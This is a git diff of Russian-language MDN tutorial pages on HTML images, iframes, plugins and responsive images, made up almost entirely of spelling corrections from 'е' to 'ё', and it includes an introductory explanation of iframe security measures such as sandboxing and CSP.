-262,7 +262,7 @@ window.addEventListener("load", drawOutput); <p>Тег <figure> не является изображением. Он представляет собой независимый структурный элемент, который: </p> <ul> - <li>Передает смысл компактным, интуитивно понятным способом.</li> + <li>Передаёт смысл компактным, интуитивно понятным способом.</li> <li>Может использоваться в различных местах страницы.</li> <li>Предоставляет ценную информацию, поддерживающую основной текст.</li> </ul> diff --git a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html index 00ef01d21d..ec9a11491f 100644 --- a/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/images_in_html/test_your_skills_colon__html_images/index.html @@ -64,7 +64,7 @@ original_slug: >- <p>Если вы хотите, чтобы ваша работа была оценена, или если вы застряли и хотите обратиться за помощью:</p> <ol> - <li>Поместите свою работу в онлайн-редактор, например <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> или <a href="https://glitch.com/">Glitch</a>. Вы можете написать код самостоятельно или использовать файлы, ссылки на которые приведены в приведенных выше разделах.</li> + <li>Поместите свою работу в онлайн-редактор, например <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> или <a href="https://glitch.com/">Glitch</a>. Вы можете написать код самостоятельно или использовать файлы, ссылки на которые приведены в приведённых выше разделах.</li> <li>Напишите сообщение с просьбой об оценке и / или помощи в <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Ваш пост должен включать: <ul> <li>Описательный заголовок, например "Требуется оценка для проверки навыков 1 по основам изображений HTML".</li> diff --git a/files/ru/learn/html/multimedia_and_embedding/index.html b/files/ru/learn/html/multimedia_and_embedding/index.html index 5926902c75..b2aecfbd25 100644 --- a/files/ru/learn/html/multimedia_and_embedding/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/index.html @@ -29,9 +29,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding <p>Далее мы рассмотрим, как использовать элементы HTML5 {{htmlelement ("video")}} и {{htmlelement ("audio")}} для встраивания видео и аудио на наши страницы, включая основы, обеспечивая доступ к различным форматам файлов для разных браузеров, добавление подписей и субтитров, а также как добавить резервные копии для старых браузеров.</p> </dd> <dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">От <object> к <iframe> — другие технологии встраивания</a></dt> - <dd>В этом месте мы бы хотели сделать шаг в сторону, чтобы изучить пару элементов, которые позволят встраивать широкий спектр типов контента в ваши веб-страницы: элементы {{htmlelement("iframe")}}, {{htmlelement("embed")}} и{{htmlelement("object")}}. <iframe> используется для встраивания других веб-страниц, а другие два элемента позволяют встраивать PDF, SVG и даже Flash – устаревающая технология, но все еще часто встречаемая.</dd> + <dd>В этом месте мы бы хотели сделать шаг в сторону, чтобы изучить пару элементов, которые позволят встраивать широкий спектр типов контента в ваши веб-страницы: элементы {{htmlelement("iframe")}}, {{htmlelement("embed")}} и{{htmlelement("object")}}. <iframe> используется для встраивания других веб-страниц, а другие два элемента позволяют встраивать PDF, SVG и даже Flash – устаревающая технология, но все ещё часто встречаемая.</dd> <dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Добавление_r_graphics_to_the_Web">Добавление векторной графики в Веб</a></dt> - <dd>Векторная графика может быть очень полезной в определенных ситуациях. В отличие от обычных форматов типа PNG/JPG, она не деформируются/пикселизируются при растяжении, она остаётся гладкой при масштабировании. Эта статья знакомит вас с понятием векторной графики и учит вас встраивать популярный формат {{glossary("SVG")}} в веб-страницы.</dd> + <dd>Векторная графика может быть очень полезной в определённых ситуациях. В отличие от обычных форматов типа PNG/JPG, она не деформируются/пикселизируются при растяжении, она остаётся гладкой при масштабировании. Эта статья знакомит вас с понятием векторной графики и учит вас встраивать популярный формат {{glossary("SVG")}} в веб-страницы.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a></dt> <dd> <p>В этой статье мы познакомимся с концепцией адаптивных изображений - изображений, которые хорошо работают на устройствах с сильно различающимися размерами экрана, разрешением и другими подобными характеристиками, и рассмотрим, какие инструменты предоставляет HTML для их реализации. Это помогает повысить производительность различных устройств. Адаптивные изображения - это всего лишь одна часть адаптивного дизайна, будущей темы CSS, которую вы должны изучить.</p> @@ -44,7 +44,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding <dl> <dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/заставка_Mozilla">Страница приветствия Mozilla</a></dt> - <dd>В этой аттестации мы проверим ваши знания по некоторым технологиям, которые обсуждались в статьях этого модуля, заставляя вас добавить несколько изображений и видео на примитивную приветственную страницу, посвященную Mozilla!</dd> + <dd>В этой аттестации мы проверим ваши знания по некоторым технологиям, которые обсуждались в статьях этого модуля, заставляя вас добавить несколько изображений и видео на примитивную приветственную страницу, посвящённую Mozilla!</dd> </dl> <h2 id="Смотри_также">Смотри также</h2> @@ -54,6 +54,6 @@ translation_of: Learn/HTML/Multimedia_and_embedding <dd>Карта изображения предоставляет способ разделить изображение на части, которые ссылаются на разные места (представьте себе географическую карту, которая показывает подробную информацию о каждой стране, когда вы кликаете на нее.) Эта технология иногда может быть полезной.</dd> <dt><a href="https://learning.mozilla.org/en-US/activities/web-lit-basics-two/">Основы Веб-грамотности 2</a></dt> <dd> - <p>Превосходный курс от фонда Mozilla, который освещает и проверяет некоторые навыки, полученные в модуле <em>Мультимедиа и встраивание</em>. Погрузитесь глубже в основы верстки веб-страниц, проектирования для доступности, обмена ресурсами, использования интернет-СМИ и работы с открытым кодом.</p> + <p>Превосходный курс от фонда Mozilla, который освещает и проверяет некоторые навыки, полученные в модуле <em>Мультимедиа и встраивание</em>. Погрузитесь глубже в основы вёрстки веб-страниц, проектирования для доступности, обмена ресурсами, использования интернет-СМИ и работы с открытым кодом.</p> </dd> </dl> diff --git a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html index 8cbd9191df..bfb1efb19a 100644 --- a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html @@ -30,12 +30,12 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla <p>Сохраните изображения из папки <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> тем же способом; возможно вы захотите сохранить их в другой папке пока не обработаете (некоторые из них) с помощью графического редактора.</p> <div class="note"> -<p><strong>Note</strong>: Приведенный для примера HTML файл содержит довольно много CSS для стилизации страницы. Вам не нужно изменять CSS, только HTML внутри {{htmlelement("body")}} элемента — пока вы используете корректную разметку, CSS будет придавать правильный внешний вид.</p> +<p><strong>Note</strong>: Приведённый для примера HTML файл содержит довольно много CSS для стилизации страницы. Вам не нужно изменять CSS, только HTML внутри {{htmlelement("body")}} элемента — пока вы используете корректную разметку, CSS будет придавать правильный внешний вид.</p> </div> <h2 id="Описание_проекта">Описание проекта</h2> -<p>В этом задании мы представляем вам почти законченный сайт-визитку Mozilla, цель которого - рассказать что-нибудь интересное о принципах Mozilla и предоставить несколько ссылок для углубленного ознакомления. К сожалению, изображения или видео не добавлены - это ваша работа! Вам нужно добавить несколько медиа-файлов для того, чтобы страница смотрелась лучше и имела больше смысла. В следующих подразделах подробно объяснено, что вам требуется сделать:</p> +<p>В этом задании мы представляем вам почти законченный сайт-визитку Mozilla, цель которого - рассказать что-нибудь интересное о принципах Mozilla и предоставить несколько ссылок для углублённого ознакомления. К сожалению, изображения или видео не добавлены - это ваша работа! Вам нужно добавить несколько медиа-файлов для того, чтобы страница смотрелась лучше и имела больше смысла. В следующих подразделах подробно объяснено, что вам требуется сделать:</p> <h3 id="Подготовка_изображений">Подготовка изображений</h3> @@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla <p><strong>Note</strong>: Для проверки правильности работы <code>srcset</code>/<code>sizes</code> , вам нужно загрузить ваш сайт на сервер (используйте <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> - простое и бесплатное решение). Затем вы сможете проверить правильность их работы используя инструменты разработчика в браузере, как описано в <a href="/en-US/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools">Responsive images: useful developer tools</a>.</p> </div> -<h3 id="Искусственно_измененная_красная_панда">Искусственно измененная красная панда</h3> +<h3 id="Искусственно_изменённая_красная_панда">Искусственно изменённая красная панда</h3> <p>Внутри элемента {{htmlelement("div")}} с классом <code>red-panda</code>, мы хотим поместить элемент {{htmlelement("picture")}} , который использует маленькое портретное изображение панды, если экран меньше или равен 600px, либо большое фоновое изображение.</p> diff --git a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html index 6963f6a873..5baed457cc 100644 --- a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -38,7 +38,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies <ol> <li>Сначала перейдите на Youtube и найдите понравившееся вам видео.</li> - <li>Под видео вы найдете кнопку «Поделиться» - нажмите, чтобы отобразить параметры совместного доступа.</li> + <li>Под видео вы найдёте кнопку «Поделиться» - нажмите, чтобы отобразить параметры совместного доступа.</li> <li>Выберите кнопку «Вставить», и вам будет предоставлен код <iframe> - скопируйте его.</li> <li>Вставьте его в поле ввода ниже и посмотрите на результат в Output.</li> </ol> @@ -53,7 +53,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies <li>Вставьте его в поле ввода ниже и посмотрите на результат в Output.</li> </ol> -<p>Если вы допустили ошибку, вы всегда можете сбросить ее с помощью кнопки «Сброс». Если вы действительно застряли, нажмите кнопку «Показать решение», чтобы увидеть ответ.</p> +<p>Если вы допустили ошибку, вы всегда можете сбросить её с помощью кнопки «Сброс». Если вы действительно застряли, нажмите кнопку «Показать решение», чтобы увидеть ответ.</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> @@ -179,7 +179,7 @@ textarea.onkeyup = function(){ <p>Итак, это было легко и весело, не так ли? Элементы {{htmlelement ("iframe")}} предназначены для размещения других веб-документов в текущем документе. Это отлично подходит для включения стороннего контента на ваш сайт, который, возможно, не имеет прямого контроля и не хочет реализовывать вашу собственную версию - например, видео от поставщиков онлайн-видео, системы комментариев, такие как Disqus, карты от поставщиков онлайн-карт, рекламных баннеров и т. д. Живые редактируемые примеры, которые вы использовали в этом курсе, реализованы с помощью <iframe>.</p> -<p>Есть несколько серьезных {{anch("Проблемы безопасности", "Проблем безопасности")}} при использовании <iframe>, которые мы обсудим ниже, но это не значит, что вы не должны использовать их на своих сайтах - они просто требуют некоторых знаний и тщательного обдумывания. Давайте рассмотрим код немного подробнее. Скажем, вы хотите добавить глоссарий MDN на одну из своих веб-страниц. Вы можете попробовать что-то вроде этого:</p> +<p>Есть несколько серьёзных {{anch("Проблемы безопасности", "Проблем безопасности")}} при использовании <iframe>, которые мы обсудим ниже, но это не значит, что вы не должны использовать их на своих сайтах - они просто требуют некоторых знаний и тщательного обдумывания. Давайте рассмотрим код немного подробнее. Скажем, вы хотите добавить глоссарий MDN на одну из своих веб-страниц. Вы можете попробовать что-то вроде этого:</p> <pre class="notranslate"><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" width="100%" height="500" frameborder="0" @@ -193,7 +193,7 @@ textarea.onkeyup = function(){ <dl> <dt>{{htmlattrxref('allowfullscreen','iframe')}}</dt> - <dd>Если установлено, <iframe> может быть помещен в полноэкранный режим с использованием полноэкранного API (что несколько выходит за рамки этой статьи).</dd> + <dd>Если установлено, <iframe> может быть помещён в полноэкранный режим с использованием полноэкранного API (что несколько выходит за рамки этой статьи).</dd> <dt>{{htmlattrxref('frameborder','iframe')}}</dt> <dd>Если установлено значение 1, это указывает браузеру нарисовать границу между этим фреймом и другими фреймами, что является поведением по умолчанию. 0 удаляет границу. Использование этого на самом деле не рекомендуется, так как тот же эффект можно улучшить, используя {{cssxref ('border')}}: none; в {{Glossary ('CSS')}}.</dd> <dt>{{htmlattrxref('src','iframe')}}</dt> @@ -201,7 +201,7 @@ textarea.onkeyup = function(){ <dt>{{htmlattrxref('width','iframe')}} and {{htmlattrxref('height','iframe')}}</dt> <dd>Эти атрибуты определяют ширину и высоту, в которых вы хотите использовать iframe.</dd> <dt>Резервный контент</dt> - <dd>Точно так же, как и другие подобные элементы, такие как {{htmlelement ("video")}}, вы можете включить резервный контент между тегами открытия и закрытия <iframe> </ iframe>, которые появятся, если браузер не поддерживает < IFRAME>. В этом случае мы включили ссылку на страницу. Вряд ли вы столкнетесь с таким браузером, который не поддерживает <iframe> в наше время.</dd> + <dd>Точно так же, как и другие подобные элементы, такие как {{htmlelement ("video")}}, вы можете включить резервный контент между тегами открытия и закрытия <iframe> </ iframe>, которые появятся, если браузер не поддерживает < IFRAME>. В этом случае мы включили ссылку на страницу. Вряд ли вы столкнётесь с таким браузером, который не поддерживает <iframe> в наше время.</dd> <dt>{{htmlattrxref('sandbox','iframe')}}</dt> <dd>Этот атрибут, который работает в более современных браузерах, чем остальные функции <iframe> (например, IE 10 и выше). Он запрашивает повышенные настройки безопасности. Об этом мы расскажем в следующем разделе.</dd> </dl> @@ -212,7 +212,7 @@ textarea.onkeyup = function(){ <h3 id="Проблемы_безопасности">Проблемы безопасности</h3> -<p>Выше мы упомянули о проблемах безопасности. Давайте рассмотрим это чуть подробнее. Мы не ожидаем, что вы всё поймете с первого раза. Мы просто хотим сообщить вам о проблеме и предоставить ссылку, чтобы вы могли вернуться к ней, когда станете более опытными и начнете рассматривать использование iframe в своих экспериментах и работе. Кроме того, нет необходимости бояться и не использовать <iframe> - вам просто нужно быть осторожным. Продолжим...</p> +<p>Выше мы упомянули о проблемах безопасности. Давайте рассмотрим это чуть подробнее. Мы не ожидаем, что вы всё поймёте с первого раза. Мы просто хотим сообщить вам о проблеме и предоставить ссылку, чтобы вы могли вернуться к ней, когда станете более опытными и начнёте рассматривать использование iframe в своих экспериментах и работе. Кроме того, нет необходимости бояться и не использовать <iframe> - вам просто нужно быть осторожным. Продолжим...</p> <p>Разработчики браузеров и веб-разработчики на горьком опыте усвоили, что iframe - частая цель (официальный термин: вектор атаки) плохих людей в Интернете (часто называемых хакерами, или, более точно, крекерами) для атаки при попытке злонамеренно изменить ваши веб-страницы или обманом заставить посетителей делать то, чего они не хотят, например, раскрыть конфиденциальную информацию вроде имени пользователя и пароли. Чтобы избежать этого, авторы спецификаций и разработчики браузеров разработали различные механизмы безопасности для обеспечения защиты <iframe>, лучшие из которых мы рассмотрим ниже.</p> @@ -220,7 +220,7 @@ textarea.onkeyup = function(){ <p>{{interwiki('wikipedia','Clickjacking')}} – это один из видов обычной атаки iframe, когда хакеры внедряют невидимый iframe в ваш документ (или внедряют ваш документ на свой собственный вредоносный веб-сайт) и используют его для захвата взаимодействия пользователей. Это обычный способ ввести пользователей в заблуждение или украсть конфиденциальные данные.</p> </div> -<p>Быстрый пример - попробуйте загрузить предыдущий пример, который мы показали выше, в ваш браузер (вы можете найти его живой пример на Github (см. Также исходный код). На самом деле, вы ничего не увидите на странице, т.к. если вы посмотрите в консоль в инструментах разработчика браузера, вы увидите сообщение, объясняющее вам, почему. В Firefox вы получите сообщение <em>«Отказано в доступе» в связи с X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary не разрешает кадрирование</em>. Это связано с тем, что разработчики, которые построили MDN, включили параметр на сервере, который обслуживает страницы веб-сайта, запрещая им внедряться внутри <iframe> (см. {{Anch ("Настройка директивы CSP")}} ниже). Суть здесь такова - целой странице MDN на самом деле нет смысла встраиваться в другие страницы - конечно, если вы не хотите сделать что-то вроде встраивания их на свой сайт и выставлять их как свои собственные; или пытаться украсть данные с помощью clickjacking, что очень плохо. Плюс, если все начнут это делать, вся дополнительная пропускная способность начнет стоить Mozilla больших денег.</p> +<p>Быстрый пример - попробуйте загрузить предыдущий пример, который мы показали выше, в ваш браузер (вы можете найти его живой пример на Github (см. Также исходный код). На самом деле, вы ничего не увидите на странице, т.к. если вы посмотрите в консоль в инструментах разработчика браузера, вы увидите сообщение, объясняющее вам, почему. В Firefox вы получите сообщение <em>«Отказано в доступе» в связи с X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary не разрешает кадрирование</em>. Это связано с тем, что разработчики, которые построили MDN, включили параметр на сервере, который обслуживает страницы веб-сайта, запрещая им внедряться внутри <iframe> (см. {{Anch ("Настройка директивы CSP")}} ниже). Суть здесь такова - целой странице MDN на самом деле нет смысла встраиваться в другие страницы - конечно, если вы не хотите сделать что-то вроде встраивания их на свой сайт и выставлять их как свои собственные; или пытаться украсть данные с помощью clickjacking, что очень плохо. Плюс, если все начнут это делать, вся дополнительная пропускная способность начнёт стоить Mozilla больших денег.</p> <h4 id="Используйте_только_при_необходимости">Используйте только при необходимости</h4> @@ -237,8 +237,8 @@ textarea.onkeyup = function(){ <p>{{Glossary("HTTPS")}} это зашифрованная версия {{Glossary("HTTP")}}. <span id="result_box" lang="ru"><span>Вы должны обслуживать свои веб-сайты, используя HTTPS, всегда, когда это возможно</span></span> :</p> <ol> - <li>HTTPS уменьшает вероятность того, что контент был изменен по пути;</li> - <li>HTTPS запрещает доступ внедренного контента к контенту в вашем исходном документе и наоборот.</li> + <li>HTTPS уменьшает вероятность того, что контент был изменён по пути;</li> + <li>HTTPS запрещает доступ внедрённого контента к контенту в вашем исходном документе и наоборот.</li> </ol> <p>Использование HTTPS требует сертификат безопасности, что может обходиться в копеечку (хотя есть <a href="https://letsencrypt.org/">Let's Encrypt</a>, что облегчает задачу). Если вы не можете его получить, вы можете отдавать свой родительский документ с помощью HTTP. Однако, из-за второго преимущества HTTPS <em>во что бы то ни стало</em> вы не должны внедрять сторонний контент с HTTP. (В лучшем случае ваш браузер выдаст угрожающее предупреждение.) Все уважаемые компании, которые делают контент доступным для внедрения через <iframe>, доступны через HTTPS - посмотрите URL-адреса внутри <iframe> src при встраивании, например, содержимого из Карт Google или Youtube.</p> @@ -256,7 +256,7 @@ textarea.onkeyup = function(){ <p>Если это необходимо, вы можете добавлять разрешения один за другим (внутри значения атрибута <code>sandbox=""</code>) — смотри {{htmlattrxref('sandbox','iframe')}} ссылка для всех доступных опций. Важно отметить, что вы <em>никогда</em> не должны добавлять атрибуты <code>allow-scripts</code> и <code>allow-same-origin</code> в свой <code>sandbox</code> атрибут одновременно — в таком случае, встроенный контент может обходить политику безопасности, которая запрещает сайтам выполнять скрипты и использовать JavaScript для отключения "песочницы" sandbox .</p> <div class="note"> -<p>Примечание. "Песочница" не обеспечивает защиту, если злоумышленники могут обманывать людей через прямое посещение вредоносного контента (вне iframe). Если есть вероятность, что определенный контент может быть вредоносным (например, созданный пользователями контент), пожалуйста, используйте его из другого {{glossary("domain")}} на ваш основной сайт.</p> +<p>Примечание. "Песочница" не обеспечивает защиту, если злоумышленники могут обманывать людей через прямое посещение вредоносного контента (вне iframe). Если есть вероятность, что определённый контент может быть вредоносным (например, созданный пользователями контент), пожалуйста, используйте его из другого {{glossary("domain")}} на ваш основной сайт.</p> </div> <h4 id="Настройка_директив_CSP"><span id="result_box" lang="ru"><span>Настройка директив CSP</span></span></h4> @@ -275,7 +275,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span><strong>Примечание</strong>. <strong>Плагин </strong>- это программное обеспечение, обеспечивающее доступ к контенту, который браузер не может читать изначально.</span></span></p> </div> -<p>Тем не менее, вы вряд ли будете использовать эти элементы очень часто. Апплеты не использовались годами, Flash в настоящее время не очень популярен из-за ряда причин (см. {{Anch ("Случай с плагинами")}}, ниже), PDF-файлы, как правило, лучше открывать по ссылке, а другой контент - такой, как изображения и видео, могут обрабатываться намного проще. Плагины и эти методы внедрения действительно являются устаревшими технологиями, и мы упоминаем их здесь на случай, если вы столкнетесь с ними в определенных обстоятельствах, таких как интрасети или корпоративные проекты.</p> +<p>Тем не менее, вы вряд ли будете использовать эти элементы очень часто. Апплеты не использовались годами, Flash в настоящее время не очень популярен из-за ряда причин (см. {{Anch ("Случай с плагинами")}}, ниже), PDF-файлы, как правило, лучше открывать по ссылке, а другой контент - такой, как изображения и видео, могут обрабатываться намного проще. Плагины и эти методы внедрения действительно являются устаревшими технологиями, и мы упоминаем их здесь на случай, если вы столкнётесь с ними в определённых обстоятельствах, таких как интрасети или корпоративные проекты.</p> <p><span id="result_box" lang="ru"><span>Если вам нужно внедрить контент плагина, ниже исчерпывающая информация, которая вам понадобится:</span></span></p> @@ -343,7 +343,7 @@ textarea.onkeyup = function(){ <h3 id="Дело_против_плагинов"><span class="short_text" id="result_box" lang="ru"><span>Дело против плагинов</span></span></h3> -<p>Когда-то плагины были незаменимы в Интернете. Помните дни, когда вам приходилось устанавливать Adobe Flash Player для просмотра онлайн-фильма? И потом постоянно возникали раздражающие предупреждения об обновлении Flash Player и Java Runtime Environment. С тех пор веб-технологии стали намного надежнее. Почти всем сервисам пришло время прекратить доставлять контент с помощью плагинов и вместо этого использовать веб-технологии.</p> +<p>Когда-то плагины были незаменимы в Интернете. Помните дни, когда вам приходилось устанавливать Adobe Flash Player для просмотра онлайн-фильма? И потом постоянно возникали раздражающие предупреждения об обновлении Flash Player и Java Runtime Environment. С тех пор веб-технологии стали намного надёжнее. Почти всем сервисам пришло время прекратить доставлять контент с помощью плагинов и вместо этого использовать веб-технологии.</p> <ul> <li><strong>Расширьте свою досягаемость для всех</strong>. У каждого есть браузер, но плагины используются все реже, особенно среди мобильных пользователей. Поскольку Web в значительной степени можно использовать без плагинов, люди предпочли бы просто перейти на сайты ваших конкурентов, чем установить плагин.</li> @@ -355,7 +355,7 @@ textarea.onkeyup = function(){ <h2 id="Заключение">Заключение</h2> -<p>Тема встраивания другого контента в веб-документы поначалу может показаться очень сложной для понимания, поэтому в этой статье мы попытались представить ее простым, знакомым способом, который сразу же станет актуальным, но все же намекает на некоторые из более сложных функций вовлеченных технологий. Начнем с того, что вы вряд ли будете использовать большое количество встраивании стороннего контента, помимо встроенных карт и видео на своих страницах.</p> +<p>Тема встраивания другого контента в веб-документы поначалу может показаться очень сложной для понимания, поэтому в этой статье мы попытались представить её простым, знакомым способом, который сразу же станет актуальным, но все же намекает на некоторые из более сложных функций вовлечённых технологий. Начнём с того, что вы вряд ли будете использовать большое количество встраивании стороннего контента, помимо встроенных карт и видео на своих страницах.</p> <p>Существует много других технологий, которые включают в себя внедрение внешнего контента, помимо тех, которые мы обсуждали здесь. Мы видели некоторые из ранних статей, например {{htmlelement ("video")}}, {{htmlelement ("audio")}} и {{htmlelement ("img")}}, но есть и другие. Например, {{htmlelement ("canvas")}} для 2D-и 3D-графики, сгенерированной JavaScript, и {{SVGElement ("svg")}} для встраивания векторной графики. Мы рассмотрим SVG в следующей статье модуля.</p> diff --git a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html index 654c0496b0..3f4ad83e69 100644 --- a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html +++ b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -33,7 +33,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p>Такая вёрстка хорошо выглядит на широкоформатных экранах ноутбуков и настольных ПК, (вы можете посмотреть <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">посмотреть демо-пример</a> и найти <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">исходный код</a> на Github.) Мы не будем подробно рассматривать CSS, скажем только следующее:</p> <ul> - <li>Содержимому тега <code>main</code> задана максимальная ширина 1200 пикселей. Если окно браузера выше этой ширины, то содержимое сайта остается на 1200 пикселей и центрирует себя в доступном пространстве. Если окно браузера ниже этой ширины, содержимое устанавливается в 100% от ширины экрана.</li> + <li>Содержимому тега <code>main</code> задана максимальная ширина 1200 пикселей. Если окно браузера выше этой ширины, то содержимое сайта остаётся на 1200 пикселей и центрирует себя в доступном пространстве. Если окно браузера ниже этой ширины, содержимое устанавливается в 100% от ширины экрана.</li> <li>Изображение в шапке всегда будет оставаться в центре тега header вне зависимости от ширины браузера. Если сайт будет просматриваться на узких экранах, то важные детали в центре изображения (люди) все равно будут видны. Все, что выходит за пределы ширины экрана будет скрыто. Высота шапки 200 пикселей.</li> <li>Изображения в содержимом заданы так, что если ширина body становится меньше чем ширина изображения, то изображения начинают сжиматься и остаются всегда внутри body и не выступают за его пределы.</li> </ul> @@ -46,7 +46,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <p>Кроме того, нет нужды встраивать такие большие изображения на страницу, если она просматривается на маленьком экране мобильного устройства; это называется <strong>resolution switching problem</strong> — растровое изображение представляет собой точно-заданное количество пикселей по ширине и высоте; как мы успели заметить, когда рассматривали <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">векторную графику</a>, растровое изображение становится зернистым и выглядит ужасно, если оно отображается в размере большем, чем оригинальный (тогда как векторное изображение нет). В то же время, если изображение отображается в гораздо меньшем размере, чем оригинальный, это приведёт к напрасной трате трафика — пользователи мобильных устройств будут грузить большое изображение для компьютера, вместо маленького для их устройства. Идеально было бы иметь несколько файлов в разных разрешениях, и отображать нужный размер в зависимости от устройства, обращающегося к веб-сайту.</p> -<p>Сложность в том, что для некоторых устройств с большим разрешением экрана нужны изображения большего чем ожидается размера, чтобы четче отображалось. По сути это всё одна задача в разных условиях.</p> +<p>Сложность в том, что для некоторых устройств с большим разрешением экрана нужны изображения большего чем ожидается размера, чтобы чётче отображалось. По сути это всё одна задача в разных условиях.</p> <p>Можно предположить, что векторные изображения могли бы решить эти проблемы. В какой-то степени это так. У них небольшой вес и размер, поэтому их можно использовать почти в любом случае. Они хороши для простой графики, узоров, элементов интерфейса и т. д. Сложнее создать векторное изображение с большим количеством деталей, как, например, на фото. Растровые изображения (JPEG) для нашего примера подходят больше. </p> @@ -143,7 +143,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images width: 320px; }</pre> -<p>В этом случае, нет необходимости в <code>sizes</code> — браузер просто определяет в каком разрешении отображает дисплей и выводит наиболее подходящее изображение в соответствии с <code>srcset</code>. Таким образом, если устройство, подключаемое к странице, имеет дисплей стандартного/низкого разрешения, когда один пиксель устройства представляет (соответствует) каждый CSS-пиксель, то будет загружено изображение <code>elva-fairy-320w.jpg</code> (применен x1, то есть вам не надо включать его). Если устройство имеет высокое разрешение, в два пикселя устройства на каждый CSS-пиксель или более, то будет загружено изображение <code>elva-fairy-640w.jpg</code>. 640px изображение имеет размер 93KB, тогда так 320px изображение - всего 39KB.</p> +<p>В этом случае, нет необходимости в <code>sizes</code> — браузер просто определяет в каком разрешении отображает дисплей и выводит наиболее подходящее изображение в соответствии с <code>srcset</code>. Таким образом, если устройство, подключаемое к странице, имеет дисплей стандартного/низкого разрешения, когда один пиксель устройства представляет (соответствует) каждый CSS-пиксель, то будет загружено изображение <code>elva-fairy-320w.jpg</code> (применён x1, то есть вам не надо включать его). Если устройство имеет высокое разрешение, в два пикселя устройства на каждый CSS-пиксель или более, то будет загружено изображение <code>elva-fairy-640w.jpg</code>. 640px изображение имеет размер 93KB, тогда так 320px изображение - всего 39KB.</p> <h3 id="Художественное_оформление">Художественное оформление</h3> @@ -153,7 +153,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <pre class="brush: html notranslate"><img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"></pre> -<p>Давайте исправим это при помощи элемента {{htmlelement("picture")}}! Так же как <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code><video></code> и <code><audio></code></a>, элемент <code><picture></code> это обертка содержащая некоторое количество элементов {{htmlelement("source")}} которые предоставляют браузеру выбор нескольких разных источников, в сопровождении крайне важного элемента {{htmlelement("img")}}. Код <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> выглядит так:</p> +<p>Давайте исправим это при помощи элемента {{htmlelement("picture")}}! Так же как <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code><video></code> и <code><audio></code></a>, элемент <code><picture></code> это обёртка содержащая некоторое количество элементов {{htmlelement("source")}} которые предоставляют браузеру выбор нескольких разных источников, в сопровождении крайне важного элемента {{htmlelement("img")}}. Код <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> выглядит так:</p> <pre class="brush: html notranslate"><picture> <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> @@ -164,7 +164,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images <ul> <li>Элемент <code><source></code> принимает атрибут <code>media</code>, который содержит медиа-условие; при помощи этих условий определяется, какое изображение будет выведено. В данном случае, если ширина viewport'a составит 799px или меньше, будет выведено изображение первого элемента <code><source></code>. Если ширина составит 800px и более — второго.</li> - <li>Атрибут <code>srcset</code> содержит путь изображения, которое будет выведено. Обратите внимание, что, как и в примере с <code><img></code> выше, <code><source></code> может принимать атрибуты <code>srcset</code> и <code>sizes</code> с несколько предопределенными изображениями. Так вы можете не только поместить группу изображений внутри элемента <code><picture></code>, но и задать группу предписаний для каждого из них. В реальности вы вряд 